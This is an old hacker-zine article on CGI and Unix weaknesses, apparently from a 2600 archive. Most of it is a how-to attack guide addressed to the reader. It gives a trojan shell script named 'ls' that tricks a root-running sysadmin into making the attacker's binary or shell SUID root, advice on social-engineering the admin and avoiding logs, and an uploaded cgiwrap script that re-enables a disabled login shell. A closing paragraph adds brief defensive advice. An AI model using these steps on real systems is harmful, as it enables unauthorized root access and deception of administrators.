CGI Flaws
by Friedo
The various global communications media we have seen develop as technology
progresses are all fundamentally flawed and insecure due to their immense
complexity. Operating systems such as UNIX, which incredibly powerful, are
plagued by security holes. UNIX's security philosophies and systems are, at
the theoretical level, secure. However, the continuous laziness, oversight, or
errors of developers and system administrators for such systems causes these
security measures to be superfluous. Most definitely the fastest growing
resource on the Internet is that distributed network of mostly garbage - and
occasionally useful information - that we call the World Wide Web. On the Web
exists something known as CGI.
CGI and Its Philosophical Flaws
CGI stands for Common Gateway Interface. In its most basic form, it exists
for the specific purpose of remotely executing a script (or compiled program)
on a web server which will then spit out data to a client web browser. Some
examples of CGI programs include web counters and credit card verifiers. This
is unlike Java or ActiveX, which all rely on the client to execute the program.
This is where CGI is flawed. Because CGI executes its program on the server,
it can take full advantage of anything the server can do, including that
marvelous gift to the hacker, the shell. On a UNIX server, CGI works by
executing either a script or a program with the privileges and UID of a not-
very-privileged user such as 'httpd' or some other user. This user either
executes a script such as a Perl script or a shell script, or a binary program
such as one written and compiled in C. This brings us to the next section.
How to Hack It - Binaries
If the program to be executed is a binary, you can take advantage of a
very useful UNIXism known as SUID. SUID is a bit in the file permission block
of an executable. When the bit is on, it is executed with the UID and privileges
of whoever owns the file. Obviously, if you own the binary, you can't really
do anything that you wouldn't otherwise be able to do. This is where a bit of
social engineering comes in. Here's an example of a common trick to get more
privileges for your binary. First, change the permissions on your home
directory to 700 with:
chmod 700 .
Then, create a random directory called something like '.ghjkl':
mkdir .ghjkl
Now, create some file with a bunch of garbage characters for a name:
touch (garbage chars)
Pretending to be a complete and utter lamer, complain to you sysadmin that
you have a file with a bunch of garbage characters for a name and you need to
delete it, but you can't find those characters on your keyboard. (You may also
want to start the name of your garbage file with a dash [-] which makes it a
real pain to delete.) This is where the fun comes in. Put a shell script in
your home directory that looks something like this:
#!/bin/sh
cp ./.somebinary ./.ghjkl/.somebinary
chown root ./.ghjkl/.somebinary
chmod 4755 ./.ghjkl/.somebinary
rm ./.somebinary
rm ./ls
ls
Name this script 'ls' and put it in your home directory. 'chmod' it
to 755. (Note: This only works on stupid or lazy sysadmins.) Since the
permissions on your home directory are 700, the sysadmin will need to 'su' to
root to look at what's inside. As a rule, sysadmins should type the full
pathnames to commands (e.g., /bin/ls) but often they don't. If './' is in the
sysadmins's $PATH, and it probably is, it will execute the above script named
'ls' when the sysadmin does an 'ls' to see what's in your directory. The script
will make a copy of your binary (which will then be owned by root) and then
'chmod' it to mode 4755, so it is SUID root! Now your binary can do fun things.
Of course, make sure your binary works before having the root SUID it, otherwise
you'll have to debug, recompile, and have him do it again, which may make him
suspicious. If you're daring, try doing this by making the script copy a shell
and set that to SUID root. This conveniently brings us to our next section.
How to Hack It - Scripts
SUID doesn't work on scripts, because the scripts themselves are not being
executed. A Perl script is executed by Perl, and shell script is executed by
a shell. One way to deal with this is to install your own local copy of a
shell, and instead of doing '#!/bin/sh', you could do '#!/home/blah/johndoe/sh'
to make it execute with a shell that you own. You can make it execute with an
SUID shell owned by root, too (see above). This gives you all the advantages
of root access through a script, and once you have it set up, you can debug and
modify the script without getting the sysadmin involved any more than he needs
to be. Be careful, however. You don't want to be doing anything that would
show up in often checked system logs.
Sometimes you only need your permissions to perform the needed tasks. For
example, if your shell is set to '/bin/false', and you have FTP access to a
server, and you want your shell turned on, all you need to do is execute a
'chpass -s /bin/sh'. It's a bitch to set up SUID crap using FTP, so we can
use 'cgiwrap'. 'cgiwrap' is a nice program that makes sure CGI scripts are
executed with the permissions of the user who owns the cgi-bin directory in
which the script is located. Most systems already have 'cgiwrap', and it can
be easily and freely obtained from the web. If you don't have it, harass your
sysadmin until he gets it. Since 'cgiwrap' executes a script with your
permissions, all you need to do is upload a simple script:
#!/bin/sh
chpass -s /bin/sh
and execute it via 'cgiwrap', and viola! Now you have your shell turned
on. Keep in mind all this executing needs to be done via a web browser, and
you can't otherwise execute this script if your shell is turned off.
Conclusion
CGI poses an extreme security threat to systems with malicious or
mischievous users. System administrators should be careful when doing
operations as root and always type full pathnames to the commands.
Sysadmins should also be extremely cautious as to what CGI stuff users have
access to.
Return to $2600 Index